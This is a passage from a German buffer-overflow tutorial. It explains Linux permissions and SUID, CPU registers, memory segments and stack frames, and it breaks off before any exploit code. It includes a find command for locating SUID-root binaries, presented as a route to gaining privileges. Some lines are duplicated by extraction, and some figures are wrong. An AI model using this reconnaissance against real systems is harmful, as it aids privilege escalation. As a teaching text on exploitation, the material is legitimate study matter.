Sie sind auf Seite 1von 86

Juggl3r’s Bufferoverflow Tutorial

Inhaltsverzeichnis

1) Einleitung

2)

Die Testumgebung

3)

Ein wenig Theorie

3.1) Dateiberechtigung unter Linux 3.2) Arbeitsweise von Computern

4)

Einige Beispiele zu der Theorie

4.1) Allgemeine Untersuchung eines einfachen Programms 4.2) Zeichenketten manipulieren 4.3) Ein erster Bufferoverflow 4.4) Ein eigenständiger Bufferoverflow 4.5) Eine kleine Denkaufgabe

5)

Shellcode schreiben

5.1) Exit-Shellcode 5.2) Shellcode zum Öffnen einer Shell

1) Einleitung:

In diesem Tutorial möchte ich euch in die Technik des Bufferoverflows einweihen. Wir werden uns zuerst ansehen, wie ein Computer arbeitet, wie er Programme aufruft und sie abarbeitet und schließlich werden wir uns ansehen, was ein Bufferoverflow ist und was damit alles erreicht werden kann.

Was mir persönlich sehr wichtig ist, ist dass du alles selbst auch probierst und austestest. Nur durch das selbstständige Arbeiten wirst du etwas davon lernen und das ist ja schließlich das Ziel dieses Tutorials. Machst du nicht selbst auch Versuche, so verschwendest du deine und auch meine Zeit. Deshalb teste unbedingt selbst auch alles aus! Ich werde dieses Tutorial sehr einfach halten und vieles von Grund auf erklären, damit ein leichter Einstieg in die Materie möglich ist. Trotzdem kann es nicht schaden, wenn du Grundkenntnisse in C und Assembler hast. Ich versuche zwar weitgehend sämtliche Quellcodes zu erklären, trotzdem wäre es jedem anzuraten, sich mit den Programmiersprachen zu beschäftigen.

Auf eines möchte ich euch noch Aufmerksam machen, nämlich dass es streng verboten ist, einige dieser Techniken bei Programmen anzuwenden, um andere zu schaden. Falls ihr so etwas vor habt, dann ist das euer Kaffee und das hat nichts mit diesem Tutorial zu tun. Normalerweise sollte ich euch jetzt noch einen Vortrag über Ethik halten und euch erklären, was gut und böse ist, aber ich selbst mache alles, was mich gerade interessiert – egal ob es gut oder böse ist. Wichtig ist nur zu verstehen, dass das Wissen an sich weder gut noch böse ist. Ob es für gute oder böse Zwecke eingesetzt wird, hängt nur vom Benutzer ab, also von euch.

Falls du mir schreiben möchtest, kannst du mir eine Email an juggl3r@ymail.com schreiben.

Danksagung

Ich möchte mich an dieser Stelle noch bei allen Menschen bedanken, welche mir auf dem Weg zu diesem Tutorial geholfen haben. Also bei den Menschen, welche andere Bufferoverflow Tutorials geschrieben haben und von denen ich selbst gelernt habe. Ein ganz besonderer Dank geht an Vivek Ramachandran von der Seite securitytube.net, welcher auf seiner Seite ein ausgezeichnetes, englisches Video Tutorial zum Thema Bufferoverflow gemacht hat. Er hat mir auch einen Großteil von Bildern zur Verfügung gestellt, welche hier in diesem Text auftauchen. Außerdem möchte ich noch darauf hinweisen, dass nicht alle Sourecodes hier von mir stammen, da ich mir einige Ideen auch von anderen Bufferoverflow Tutorials abgeschaut habe. Der Grund dafür ist, dass ich diese Beispiele und Sourcecodes für sehr gut halte und ich in dieser Anleitung die besten Tipps und Tricks zusammenfassen möchte. In diesem Sinne vertrete ich die Auffassung, dass Informationen immer für jeden frei zugänglich sein sollen und deshalb hier eine Zusammenfassung angebracht ist. Falls jemand hier Sourcecodes von sich selbst findet und dies nicht möchte, so kann er mir gerne mitteilen, dass ich diesen Teil löschen soll.

2) Die Testumgebung:

Damit du sämtliche Beispiele hier mitmachen kannst und die gleichen Ergebnisse bekommst, solltest du mit denselben Bedingungen wie ich arbeiten. Ich benutze VMware Server2 und habe dort eine virtuelle Maschine mit Ubuntu 9.04 erstellt (Betriebssystem-Other-32Bit). Außerdem solltet ihr die Programme „gcc“ und „gdb“ herunterladen, falls diese noch nicht installiert sind. Das macht ihr über die Befehle:

>sudo apt-get install gcc >sudo apt-get install gdb

Der Befehl „sudo” (substitute user do oder super user do) weißt das OS (Operating System = Betriebssystem) an, den folgenden Befehl mit anderen Rechten (zum Beispiel denen des superusers root) auszuführen. Hier wird also der Befehl „apt-get install gcc“ mit root-Privilegien ausgeführt. Mit „apt-get“ können Pakete auf dem OS verwaltet werden. Hier wird über den Parameter „install“ also ein weiteres Packet herunter geladen und installiert, nämlich gcc. GCC ist ein sehr bekannter C-Compiler von GNU (GNU is not Unix. Infos dazu unter wikipedia). GDB (GNU Debugger) ist andererseits ein Debugger, mit dem der Ablauf von Programmen untersucht werden kann. Dazu später aber mehr.

Möchte man mehr Informationen zu den einzelnen Befehlen haben, so können die Manuals über den Befehl „man“ aufgerufen werden. Zum Beispiel öffnet „man gcc“ die Dokumentation des C Compilers GCC.

Die von mir benutzen Versionen sind:

gcc 4.4.3 GNU gdb 6.8-debian

Diese erhaltet ihr, indem ihr folgende Befehle aufruft:

>gcc –-version >gdb --version

Anmerkung:

Da ich dieses Tutorial ständig erweitere und auch auf anderen Testumgebungen arbeite, wird teilweise mit anderen Versionen gearbeitet. So werden beispielsweise ab Kapitel 5.3) folgende Versionen benutzt:

gcc (Ubuntu) 4.4.1 GNU gdb 7.0-ubuntu

Sämtliche Beispiele sollten trotzdem wie angeführt funktionieren, falls du doch Unstimmigkeiten entdeckst, kannst du mich gerne kontaktieren und wir werden eine Lösung dafür finden.

3) Ein wenig Theorie

3.1) Dateiberechtigung unter Linux:

Unter Linux hat jeder Benutzer seinen eigenen Benutzeraccount und dieser ist Mitglied in einer oder mehreren Gruppen. Genauso gehört eine Datei zu einem Benutzer und einer Gruppe. Es gibt 3 verschiedene Arten von Berechtigungen, nämlich r (read = lesen), w (write = schreiben) und x (execute = ausführen). Diese 3 Berechtigungen können jeweils 3 Arten von Benutzern zugewiesen werden. Nämlich dem User, also dem Ersteller bzw. Besitzer dieser Datei. Der Gruppe des Besitzers und schließlich allen Anderen. Hierzu ein Beispiel:

Der Besitzer einer Datei ist Tom und Tom ist in der Gruppe „Administratoren“. Jetzt können Schreibe-, Lese- und Ausführungsberechtigungen für Tom, für die Administratoren und für alle Anderen vergeben werden. Schauen wir uns das ganze jetzt anhand eines Beispieles an. Wir tippen folgendes in das Terminal:

>cd Desktop

 

>man gcc >> doku

>ls –l doku

 

Zuerst gehen wir in das Verzeichnis „Desktop“ mit dem Befehl „cd“ (change direktory). Hier ist zu beachten, dass Desktop groß geschrieben werden muss, da Linux zwischen Groß und Kleinschreibung unterscheidet. Als nächsten öffnen wir mit „man gcc“ die Dokumentation von GCC und speichern diese über „>>“ in der Datei „doku“. Mithilfe von „ls –l“ können wir uns nun die Eigenschaften dieser Datei ansehen. Als Ausgabe erhalten wir etwas in dieser Art:

-rw-r--r—-1 rifler rifler 616207 2009-08-12 02:31 doku

Der Aufbau der Berechtigungen ist immer der gleiche: rwx (lesen, schreiben, ausführen). Soll eine Berechtigung gegeben werden, so wird der Buchstabe notiert, andernfalls ein Minus. Die 3 Benutzer werden hierzu der Reihe nach angeführt. Also können insgesamt 9 Berechtigungen vergeben werden. Hier hat zum Beispiel der Besitzer dieser Datei lese und schreibe Rechte, allerdings keine Ausführberechtigung (rw-). Als nächstes kommt die Gruppe des Besitzers, die hat nur Leseberechtigung (r--), genauso wie alle anderen (r--). Die restlichen Informationen sind zum Ersteller, zum Erstellungsdatum usw.

Die Berechtigungen rwx können auch binär dargestellt werden. Wird eine Berechtigung gesetzt, so wird eine binäre eins an dieser Stelle geschrieben, wird sie nicht gesetzt, so eine logische null. So ist zum Beispiel r-x das gleiche wie 101, also Lesen und Ausführen. Vom binären System kann auch in das oktale System umgerechnet werden, welches nur die Ziffern 0-7 kennt. Dazu wird das niederwertigste Bit mit 2^0 multipliziert, das mittlere mit 2^1 und das höchstwerte mit 2^2. Anschließend werden die Zahlen zusammenaddiert. In unserem Beispiel wird also 101 binär zu 5 oktal. Dadurch kann durch 3 oktale Zahlen die Dateiberechtung für alle 3 Benutzerarten vergeben werden. Dies geschieht über den Befehl „chmod“ (change mode).

>chmod 745 doku

Um diesen Befehl zu verstehen, wandeln wir die Zahlen in binär um.

7

oktal = 111 binär = rwx

4

oktal = 100 binär = r--

5

oktal = 101 binär = r-x

Vergleichen wir nun unsere Ergebnisse mit der Ausgabe des „ls –l“ Befehles.

>ls –l doku

>ls –l doku -rwxr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku
-rwxr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku

-rwxr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku

Wie zu sehen ist, haben wir erfolgreich die Berechtigungen verändert.

Manchmal müssen Benutzer auf Dateien zugreifen, auf welche sie eigentlich keinen Zugriff haben dürften. Möchte ein Benutzer zum Beispiel sein Passwort ändern, so muss er auf die Datei /etc/passwd bzw. /etc/shadow zugreifen, da dort die Passwörter für alle Benutzer abgespeichert sind. Da der Benutzer allerdings nicht einfach so diese Datei öffnen kann, wurde das sogenannte SetUID (Set User ID, manchmal auch nur suid) Bit eingeführt. Bekommt ein Programm die suid-root Berechtigung, so kann dieses alles mit root-Privilegien ausführen. Ein Beispiel wäre das „passwd“ Programm, welches zuständig für die Änderung der Passwörter ist.

Um ein Programm dieses suid Privileg zu geben, wird eine vierte Zahl im Oktalsystem vor den Anderen angegeben. Über den Befehl:

>chmod 4745 doku

bekommt also die Datei „Doku“ die suid Berechtigung. Es gibt 3 solche zusätzliche Berechtigungen, auf die ich aber nicht näher eingehen möchte. 4 oktal steht für 100 binär, also wird dadurch das SetUID Bit gesetzt. Die zwei anderen Bits sind für uns jetzt unwichtig. Schauen wir uns nun die Änderung an:

>ls –l doku

>ls –l doku -rwsr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku
-rwsr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku

-rwsr--r—x 1 rifler rifler 616207 2009-08-12 02:31 doku

Wie wir hier sehen, steht statt dem „x“ für ausführen ein „s“, welches bedeutet, dass dieses Programm mit anderen Berechtigungen ausgeführt werden kann.

Mit welchen Berechtigungen das Programm ausgeführt wird, hängt vom Besitzer der Datei ab. Damit das Programm „suid root“ Privilegien erhält, müssen wir noch den Besitzer auf „root“ ändern. Dies geschieht über den Befehl „chown“ (change owner). Dazu rufen wir das Programm mit super-user Privilegien auf (also über den „sudo“ Befehl) und übergeben als ersten Parameter den gewünschten Besitzer und danach den Programmnamen. Hier also ein Beispiel:

>sudo chown root doku

Schauen wir uns noch ein Beispiel an, nämlich das „passwd“ Programm. Dazu geben wir folgendes in den Terminal ein:

>cd /

// Mit diesem Befehl gehen wir in das Hauptverzeichnis von Linux

>cd usr/bin/

// In das Verzeichnis usr/bin

 

>ls –l passwd // Wir schauen uns die Berechtigungen an

 

-rwsr-xr-x 1 root root 37084 2009-04-04 07:49 passwd

Hier sehen wir, dass das Programm mit suid Berechtigung ausgestattet ist und dass der Besitzer root ist und somit dieses Programm bei der Ausführung auch root Rechte hat.

Wie wir jetzt gesehen haben, können manche Programme mit anderen Berechtigungen ausgeführt werden. Sind wir jetzt als ein Benutzer mit wenigen Rechten eingeloggt, so können wir also über solche Programme mehr Berechtigungen erhalten. Dazu müssen wir aber erst einmal solche Programme finden. Dazu benutzen wir den Linux-Befehl „find“.

>find / -uid 0 –perm 4000 –print0

Schauen wir uns nun diesen Befehl genauer an. Der Parameter „/“ gibt ab, wo zum Suchen begonnen werden soll – hier also im Hauptverzeichnis von Linux. Mithilfe von „-uid 0“ suchen wir nur Dateien, welche der Benutzer mit der User-ID 0 besitzt – also nach Dateien vom Besitzer root. Mithilfe von „-perm 4000“ geben wir die Berechtigungen an. Da uns nur das suid-Bit interessiert, setzen wir nur dieses. Schließlich fügen wir noch „-print0“ an, damit wir das Ergebnis angezeigt bekommen.

3.2) Arbeitsweise von Computern

Der Speicher des Computers

Als nächstes schauen wir uns die einzelnen Speicherarten des Computers an. Der PC kann Daten hauptsächlich in drei verschiedenen Bereichen ablegen, nämlich auf der Festplatte (sowie USB Stick, CompactFlash Card,…), dem RAM (Random Access Memory) und den einzelnen Registern, welche sich im internen Speicher der CPU befinden. Die Zugriffsgeschwindigkeiten werden bei dieser Aufzählung immer schneller, also die Festplatte ist langsam, der RAM etwas schneller und die Register sind am schnellsten. Natürlich gibt es noch andere Möglichkeiten, zum Beispiel auf dem EEPROM, aber wir werden uns jetzt nur die Register und den RAM näher ansehen.

Register – Teil 1:

Bei modernen Prozessoren hat ein Register eine breite von 32 Bits (bzw. 64 Bits). Dadurch können also die Zahlen von 0 bis 4 293 957 295 repräsentiert werden. Diese Register werden benutzt, da das Arbeiten mit ihnen sehr schnell funktioniert. Ich möchte jetzt nicht zu sehr ins Detail gehen, deshalb erkläre ich sie nur Oberflächlich soweit, wie wir es hier benötigen. Für Interessierte kann ich nur raten, ein Assemblerbuch zu lesen. Es gibt vier allgemeine Register, namens EAX, EBX, ECX und EDX. Das „E“ (=Extended) am Anfang bedeutet, dass diese Register 32 Bit lang sind. Bei älteren Texten steht oft auch nur „AX“ statt „EAX“, was bedeutet, dass diese Register nur 16 Bit lang sind. Heute kann auch über „AX“ auf die untersten 16 Bit zugegriffen werden. Auf diese 16 Bit kann noch einmal gesondert über „AL“ und „AH“ zugegriffen werden, nämlich über „AL“ (=Register A LOW) auf die unteren 8 Bit und über „AH“ (= Register A HIGH) auf die oberen 8 Bit. Das gleiche Prinzip kann auch bei den Registern EBX, ECX und EDX angewendet werden. Die folgende Grafik soll dies verdeutlichen:

auch bei den Registern EBX, ECX und EDX angewendet werden. Die folgende Grafik soll dies verdeutlichen:

Ich habe vorher auch geschrieben, dass diese Register für allgemeine Zwecke eingesetzt werden. Das stimmt nicht ganz so, da jedes dieser Register auch Speziallaufgaben hat, auf die ich hier aber nicht näher eingehen möchte. Diese Register können außerdem zum Übergeben von Funktionsparametern eingesetzt werden. Wird also zum Beispiel die Funktion „Addieren“ programmiert, welche zwei Werte addiert, so können diese sowie das Ergebnis über die Register übergeben werden. Allerdings gibt es noch eine andere Variante, nämlich über den Stack. Das schauen wir uns aber erst später im nächsten Abschnitt an. Welche Variante benutzt wird, hängt hauptsächlich vom Compiler ab, also bei uns von GCC, allerdings wird so gut wie immer die Stack-Variante benutzt. Die Register werden hauptsächlich für interne Assembler Befehle und System Calls verwendet.

Es gibt noch andere Register, wie zum Beispiel ESI und EDI. Diese zwei Register werden für Zeichenketten-Operationen und Speicher-Operationen eingesetzt.

Außerdem gibt es noch die Register EBP (Extended Base Pointer), ESP (Extended Stack Pointer) und EIP (Extended Instruction Pointer). Um diese Register näher zu erklären, muss ich zuerst einmal erklären, was Pointer (auf Deutsch: Zeiger) sind. Hier aber noch einmal kurz eine Auflistung aller Register und wie auf welche Teile zugegriffen werden kann:

EAX:

Extended Accumulator Register

EBX:

Extended Base Register

ECX:

Extended Counter Register

EDX:

Extended Data Register

ESI:

Extended Source Index

EDI:

Extended Destination Index

EBP:

Extended Base Pointer

ESP:

Extended Stack Pointer

EIP:

Extended Instruction Pointer

32bit Register

16bit Register

8bit Register

EAX

AX

AH/AL

EBX

BX

BH/BL

ECX

CX

CH/CL

EDX

DX

DH/DL

ESI

SI

-----

EDI

DI

-----

EBP

BP

-----

ESP

SP

-----

EIP

IP

-----

Zeiger, Arrays und Nullbyte-Terminierung:

In Standard C gibt es keinen Datentyp „string“, mit welchem Zeichenketten abgespeichert werden können. Stattdessen können über den Datentyp „char“ nur einzelne Zeichen abgespeichert werden. Dieser Datentyp hat eine Größe von 1 Byte und kann daher alle ASCII Zeichen von 0-255 darstellen. Um nun ganze Zeichenketten abzuspeichern, bedient man sich der Array (auf Deutsch: Feld) -Technik. Hier werden mehrere zusammengehörige Daten hintereinander im Speicher abgelegt und die Zugriffsvariable enthält die Anfangsadresse. Über einen Index kann nun auf bestimmte Einzeldaten zugegriffen werden. Hier einmal ein kleines Beispiel:

char test[6] = „Hallo“;

char test[6] = „Hallo“;

char test2 = test[1];

char test[6] = „Hallo“; char test2 = test[1];

Zuerst wird ein Feld mit der Größe sechs erzeugt und in dieses das Wort „Hallo“ geschrieben. Hier ist wichtig, dass immer mit 0 zum zählen begonnen wird! Das bedeutet, in dem Feld „test“ können insgesamt 6 Zeichen abgespeichert werden, welche über die Indexe 0 bis 5 angesprochen werden können. Das 6te Zeichen (also das Zeichen mit dem Index 5) ist hier „%00“. Dieses Zeichen weißt den Computer an, dass die Zeichenkette zu Ende ist. Dadurch kann der PC viel schneller arbeiten. Wenn er zum Beispiel ein Feld der Länge 500 auf dem Bildschirm darstellen soll, aber dieses Feld nur 5 Zeichen enthält, so ergibt sich eine Leistungssteigerung von einem Faktor 100. Das ganze wird „Nullbyte-Terminierung“ genannt. Möchte nun auf ein einzelnes Zeichen dieses Feldes zugegriffen werden, so geschieht dies über den Index. Die Variable „test“ enthält die Anfangsadresse des Feldes. Also liest man ab dieser Adresse ein Byte Daten aus, so erhält man „H“. Über den Index kann man ein Offset angeben, wie hier zum Beispiel test[1]. Das bedeutet, der PC nimmt die Anfangsadresse und fügt 1 Mal die Größe des Datentypes hinzu. Da eine „char“ Variable die Größe von 1 Byte bzw. 8 Bit hat, werden 8 Bit zu dieser Adresse hinzugefügt. Dadurch erhält man genau die Adresse des zweiten Zeichens, nämlich „a“. D.h. am Ende steht in „test2“ das Zeichen „a“ und nicht „H“! Wir werden uns später dazu weitere Beispiele anschauen, wo dies nochmals verdeutlicht wird.

Wurden früher solche Zeichenketten öfters in Programmen benutzt, so belegten diese erstens sehr viel Speicher und zweitens waren Kopie-Prozesse sehr langsam. Deshalb wurde ein sogenannter Zeiger (Englisch: Pointer) erschaffen. Im Prinzip ist ein Zeiger eine ganz normale Variable, welche als Daten eine Adresse enthält. D.h. eine Zeiger-Variable zeigt nur auf eine andere Variable. So konnten bestimmte Zeichenketten nur einmal abgespeichert werden, aber über mehrere Variable angesprochen werden. Im Prinzip ist ein Feld bzw. Array auch nur ein Zeiger auf den Anfang dieser zusammenhängenden Daten. Ein Zeiger kann über das Vorgestellte „*“ erkannt werden, dazu aber auch später mehr. Übrigens ist ein Zeiger so groß wie ein Register, d.h. bei einem 32 Bit System also 32 Bit groß und kann die Adressen von 0 bis 2 32 -1 ansprechen. In dezimal sind das 0 bis 4294967295 und das sind genau 4 Gigabyte. Deshalb können 32 Bit System auch nur 4 GB RAM benutzen, da sie einfach nicht mehr adressieren können.

Register – Teil 2:

Da wir nun wissen, was ein Pointer ist, können wir uns wieder den Registern EIP, EBP und ESP widmen. EIP steht über „Extended Instruction Pointer“ (bei 16 Bit Registern nur IP). Als erstes sehen wir, dass es sich um eine Adresse handeln muss, da dieses Register als Pointer bezeichnet wird. Diese Adresse verweist auf einen Befehl (=Instruction), nämlich auf den nächsten Befehl, der ausgeführt werden soll. Der Computer arbeitet immer nach dem gleichen Prinzip:

1. Einlesen des Befehles, auf den EIP zeigt

2. Erhöhung von EIP im die Länge dieses Befehles

3. Ausführung des Befehles

4. Zurück zu Schritt 1

EIP wird immer um die Länge des Befehles erhöht, dadurch verweist EIP automatisch auf den nächsten Befehl im Quellcode. Kommen Sprünge oder Verzweigungen im Code vor, so wird in Schritt 3 EIP über einen Befehl verändert und es funktioniert trotzdem. Wird eine Unterfunktion aufgerufen, so wird EIP im Stack (dazu gleich mehr) zwischengespeichert und anschließend auf den Anfang der Funktion umgeschrieben. Dadurch springt der Computer bei der Ausführung des nächsten Befehles an den Anfang dieser Funktion. Wird nun die Funktion fertig abgearbeitet, so kann der Computer den alten EIP Wert wieder vom Stack holen und es wird an die richtige Stelle im Programm zurückgesprungen. EBP und ESP werden im übernächsten Kapitel erläutert.

Die Speichersegmente:

Jeder Prozess hat einen eigenen „Adressraum“, welchen er zur Ausführung benutzen kann. Der Prozess kann intern auf alle Adressen in diesem Bereich zugreifen, allerdings nicht (ohne weiteres) außerhalb dieses Bereiches. Der interne Bereich teilt sich in fünf Speichersegmente auf:

Stack

Heap

Data

Code

BSS

Jedes dieser Segmente kann folgende Eigenschaften haben:

Schreibe/Lesefähigkeit

Ausführbarkeit von Code

Fixe Größe / Bewegliche Größe

Das „Code“ Segment:

Dieses Segment wird auch „Text“ Segment genannt. Hier befindet sich der Quellcode in kompilierter Form, also nur noch in binär bzw. hexadezimal. Es ist natürlich Ausführbar und auch Lesbar, allerdings nicht Schreibbar. Wird versucht in diesem Segment etwas zu schreiben, so endet der Prozess mit einem „Segmentation Fault“. Außerdem ist auch klar, dass dieses Segment eine fixe Größe hat.

Das „Data“ und das „BSS“ Segment:

Hier werden initialisierte und nicht initialisierte statische Variablen gespeichert. Meistens ist es ausführbar, aber dafür nicht Schreibbar. Oft werden diese beiden Segmente auch zusammengefasst. Die Größe ist wieder fix.

Der Heap:

Der Heap ist kein eigenständiges Segment, sonder teilt sich eines mit dem Stack.

Hier werden dynamisch allokierte Daten gespeichert. Das sind Daten, von denen die Größe erst während der Programmausführung feststeht (z.B.: mithilfe der malloc()-Funktion). Daraus ergibt sich auch, dass der Heap eine variable Größe hat. Außerdem ist er Schreibbar, Lesbar und meistens Ausführbar (wodurch er für Bufferoverflows ausgenutzt werden kann). Er wächst in Richtung der höheren Speicheradressen.

Der Stack:

Wie schon vorher erwähnt, teilt sich der Stack mit dem Heap ein Segment. Während der Heap in Richtung der höheren Speicheradressen wächst, so wächst der Stack in Richtung der Niedrigeren. Dabei belegt der Anfang des Stacks die höchste Adresse des zugewiesenen Adressraumes. Der Stack ist sowohl Schreibbar als auch Lesbar und meistens auch Ausführbar, obwohl es keinen Grund dafür gibt! Dadurch wird er auch für Bufferoverflow- Attacken interessant. In diesem Segment werden die meisten Bufferoverflow-Angriffe durchgeführt. Hier werden lokale Variablen, Übergabeparameter und Rücksprungadressen abgespeichert. Der Stack funktioniert wie ein Stapel-Speicher nach dem LIFO-Prinzip (Last-In-First-Out, manchmal auch fälschlicherweise FILO Prinzip abgekürzt). Das bedeutet, dass die erste Variable welche in diesem Segment abgespeichert wird, auch die letzte sein muss, welche wieder gelöscht wird. Du kannst dir das wie einen Stapel mit Tellern vorstellen, bevor du den untersten wieder nehmen kannst, musst du alle anderen zuerst wegstellen. Eine andere Analogie wäre zum Beispiel eine Perlenkette, bei der an einem Ende ein Knoten ist. Gibt man nun zwei Perlen auf diese Kette, so kann die erste nur wieder rausgenommen werden, sobald man die zweite rausgenommen hat. Genau so verhält es sich mit dem Stack. Um keine Verwirrung zu erzeugen: Die Daten können trotzdem jeder Zeit gelesen werden. Wird zum Beispiel zuerst eine 5, anschließend „Hallo“ und anschließend 12 auf den Stack gelegt, so kann trotzdem jeder Zeit auf die 5 zugegriffen werden. Nur das herunterlöschen vom Stack kann erst durchgeführt werden, sobald 12 und „Hallo“ gelöscht wurden. Legt man Daten auf den Stack, so führt man eine sogenannte „push“ Operation durch, holt man Daten herunter, so spricht man von einer „pop“ Operation. Diese Eigenschaft scheint auf den ersten Blick etwas verwirrend zu sein, doch sie macht sehr viel Sinn, denn dadurch werden die Lebenszeiten der Variablen genau eingehalten. Bevor ich näher auf den Stack und die zwei Register EBP und ESP eingehe, möchte ich dir noch eine Grafik mit allen Segmenten zur Veranschaulichung zeigen.

Wie man hier nochmals sehr gut sieht, wachsen der Stack und der Heap aufeinander zu.

Wie man hier nochmals sehr gut sieht, wachsen der Stack und der Heap aufeinander zu. So ist gewährleistet, dass das Maximum des Speichers ausgenützt werden kann.

Der Stack:

Der Stack wird übrigens auch als Kellerspeicher bezeichnet, eben weil er in Richtung der niedrigeren Adresse wächst. Damit der Computer immer weiß, wie viele Variable auf dem Stack liegen, benutzt der das Register ESP (Extended Stack Pointer). Dieses verweißt immer auf die Spitze (also auf die niedrigste zugewiesene Adresse) des Stacks. Jedes mal, wenn eine push oder pop Operation ausgeführt wird verändert sich ESP, da entweder Daten gespeichert oder gelöscht werden.

ESP, da entweder Daten gespeichert oder gelöscht werden. Dieses Bild erklärt das Verhalten vielleicht etwas besser.

Dieses Bild erklärt das Verhalten vielleicht etwas besser. Zuerst ist der Stack leer und deshalb zeigt ESP auf das obere Ende. Anschließend wird eine push Operation durchgeführt, dadurch wird ESP verringert (weil der Stack nach unten wächst) und anschließend werden bei dieser neuen Adresse die Daten geschrieben, hier „1234“.

Als nächstes folgt eine weiter push Anweisung mit dem Argument „5678“. Würde an dieser Stelle eine pop Operation durchgeführt werden, so hätte man als Ergebnis „5678“, bei einer weiteren „1234“. Anschließend noch einmal eine Push Anweisung, ESP wird wieder verringert und die Daten werden auf den Stack geschrieben. Jetzt einmal etwas anderes, nämlich eine pop Anweisung. ESP wird hier erhöht und als Rückgabe von dieser Operation erhält man 9000, aber diese Zahl bleibt trotzdem im Speicher gespeichert und wird erst überschrieben, sobald eine push Anweisung diesen Speicher benötigt. Dies Demonstriert auch die nächste Anweisung, wo über push 1991 dieser Speicher wieder belegt wird.

Das EBP (Extended Base Pointer) Register ist wie der Name schon sagt, ein Zeiger auf die Basis im Stack. Also zeigt dieses Register im Prinzip auf das obere Ende des Stacks und es können dadurch die Daten über eine relative Adresse zu EBP ausgelesen werden. In jeder Unterfunktion existiert ein eigener EBP, von welchem auf die lokalen Variablen und die Übergabeparameter zugegriffen werden kann. Wird nun eine Unterfunktion aufgerufen, so muss EBP der Hauptfunktion zwischengespeichert werden und das geschieht über den Stack. Diesen zwischengespeicherten Wert nennt man auch SFT (Stack-Frame-Pointer). Wir wissen jetzt, dass bei einem Funktionsaufruf drei Arten von Daten auf dem Stack zwischengespeichert werden müssen, nämlich:

Übergabeparameter

Rücksprungadresse(der alte EIP Wert, wird mit RET (Return Address) abgekürzt)

EBP der letzten Funktion (als SFT bezeichnet)

Außerdem muss auch der neue Wert von EBP festgelegt werden, sobald der alte abgespeichert ist. Dazu muss nur der aktuelle Wert von ESP in EBP geschrieben werden. Warum das so ist, werden wir gleich anhand der folgenden Bilder und des folgenden Quellcodes sehen:

Warum das so ist, werden wir gleich anhand der folgenden Bilder und des folgenden Quellcodes sehen:

ESP zeigt auf irgendeine Stelle im Stack. Was davor auf dem Stack liegt, interessiert uns nicht. Sobald die Unterfunktion „AddMe“ aufgerufen wird, werden die Parameter 10 und 20 übergeben, nämlich über push Operationen auf dem Stack. Das sieht dann so aus:

über push Operationen auf dem Stack. Das sieht dann so aus: Die Übergabeparameter wurden von rechts

Die Übergabeparameter wurden von rechts nach links auf den Stack gelegt und ESP hat sich um 8 Bytes verkleinert, da eine Speicherstelle eine Breite von 4 Bytes hat. Die Reihenfolge, ob von links oder rechts die Argumente zuerst übergeben werden, hängt vom jeweiligen Compiler bzw. Prozessor ab. Anschließend muss nun die Rücksprungadresse gespeichert werden:

jeweiligen Compiler bzw. Prozessor ab. Anschließend muss nun die Rücksprungadresse gespeichert werden: Seite 14 von 86

Hier sehen wir, dass die Rücksprungadresse auch in einem 4 Byte breiten Speicherblock abgelegt wird. 1 Byte sind 8 Bits und somit sind 4 Byte 32 Bit, daher sehen wir hier auch, dass ein 32 Bit System benutzt wird. Bei einem 64 Bit System würden diese Blöcke eine Größe von 8 Byte haben und somit könnten 2 64 -1 Daten bzw. auch Adressen abgespeichert werden, wodurch mehr als 4 GB RAM verwendet werden können. Übrigens befinden sich diese ganzen Segmente (Stack, Heap usw.) auf dem RAM. Hier sehen wir auch, dass sich ESP wieder um 4 Byte verringert hat. Anschließend muss noch der alte EBP abgespeichert werden:

Anschließend muss noch der alte EBP abgespeichert werden: Wieder wird ESP um 4 Bytes verringert und

Wieder wird ESP um 4 Bytes verringert und nun wird der alte EBP Wert (=SFP) abgespeichert. Außerdem wird nun auch der neue EBP festgelegt (ESP in EBP schreiben). Weiters wird in unserem Quellcode noch eine zusätzliche lokale Variable erstellt, dass sieht so aus:

Im Prinzip nichts Neues für uns, ESP um 4 Bytes verringern und die Daten abspeichern.

Im Prinzip nichts Neues für uns, ESP um 4 Bytes verringern und die Daten abspeichern. Als letztes schauen wir uns noch an, wie nun auf die Daten zugegriffen werden kann:

Wird nur (%EBP) in Assembler angegeben, so ließt der PC 4 Bytes Daten von dieser

Wird nur (%EBP) in Assembler angegeben, so ließt der PC 4 Bytes Daten von dieser Adresse aus, also genau einen Speicherblock. Dadurch erhalten wir genau unser alte EBP Wert (=SFP). Möchte auf die Rücksprungadresse zugegriffen werden, so müssen 4 Bytes zuerst zu EBP hinzugezählt werden. Dadurch erhalten wir die Anfangsadresse des nächsten Speicherblockes, wodurch wir RET auslesen können. Über die Notation 4(%EBP) werden also 4 Bytes zu ESP hinzugezählt. Nach dem gleichen Prinzip kann man auf die Übergabeparameter und auf die lokalen Variablen zugreifen. Zu Beachten ist, dass für den Zugriff auf die lokalen Variablen etwas von EBP abgezogen werden muss, da ja der Stack in Richtung der niedrigeren Adressen wächst. Eigentlich haben wir jetzt die ganze benötigte Theorie, deshalb schauen wir uns nun einige Beispiele an um die Theorie zu vertiefen und um sie in die Praxis umzusetzen.

4) Einige Beispiele zu der Theorie

4.1) Allgemeine Untersuchung eines einfachen Programms

Wir starten mit einem ganz einfachen „Hello-World“ Programm, um uns näher mit der internen Arbeit des Computers zu beschäftigen. Dazu öffnen wir zuerst das Terminal (Anwendungen-Zubehör-Terminal) und erstellen am besten zuerst ein eigenes Verzeichnis mit dem Befehl mkdir (make directory).

>mkdir Tutorial

 

>cd Tutorial

 

>mkdir „Beispiel 1“

>cd „Beispiel 1“

 

Dadurch haben wir 2 Ordner hintereinander erstellt und befinden uns in dem 2ten. Als nächstes öffnen wir gedit (Entweder über Anwendungen-Zubehör-Texteditor oder über einen 2ten Terminal und dort „gedit“ hineinschreiben).

Nun geben wir unseren Quellcode ein:

#include <stdio.h>

main()

{

printf(“Hello World.\n”);

}

Anschließend Datei-Speichern unter und als namen wählen wir „hello_world.c“. Jetzt noch auf „Ordner-Browser“ klicken und wir suchen unseren Ordner „Beispiel 1“. Dort speichern wir nun unseren Quellcode ab. Schauen wir nun zurück in unser Terminal und überprüfen dies dort, mit Hilfe des Befehles „ls“ (list directory content)

>ls

hello_world.c

Wie wir sehen enthält unser Ordner unseren Quellcode. Nun müssen wir diesen noch kompilieren:

